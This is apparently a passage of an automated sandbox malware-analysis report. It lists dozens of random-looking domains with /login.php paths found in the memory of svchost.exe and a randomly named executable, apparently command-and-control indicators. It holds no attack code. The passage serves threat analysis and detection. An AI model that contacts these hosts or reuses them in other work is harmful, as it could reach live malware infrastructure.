Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganynos.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganynyb.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganypeb.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyqib.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyqow.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyqyh.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375998901.00000000093C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375515746.00000000093B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyrew.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyvyw.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381004146.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376920856.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ganyzuz.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000156A000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.0000000009330000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://gaqycos.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqycyz.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2809409371.00000000040ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2814428917.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyfub.com/login.php
Source: svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2653309169.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqykus.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqynih.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqypew.com/login.php
Source: svchost.exe, 00000002.00000003.2425971822.000000000338B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237616920.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqypiz.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyqez.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyrib.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330471483.00000000092D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyvob.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329969836.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyvob.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gaqyzyb.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380885710.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376869762.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2378148329.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatycis.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342624371.0000000009368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatycyb.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyduh.com/login.php
Source: svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381751568.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384537956.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E20000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://gatyfus.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatykyh.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatynes.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatypas.com/http://gatypas.com/
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatypuz.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyqeb.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2916011828.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyrah.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665309927.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608108.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2663825681.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyruw.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyruw.com/login.phpS
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346606033.00000000093E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatyzoz.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygyged.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 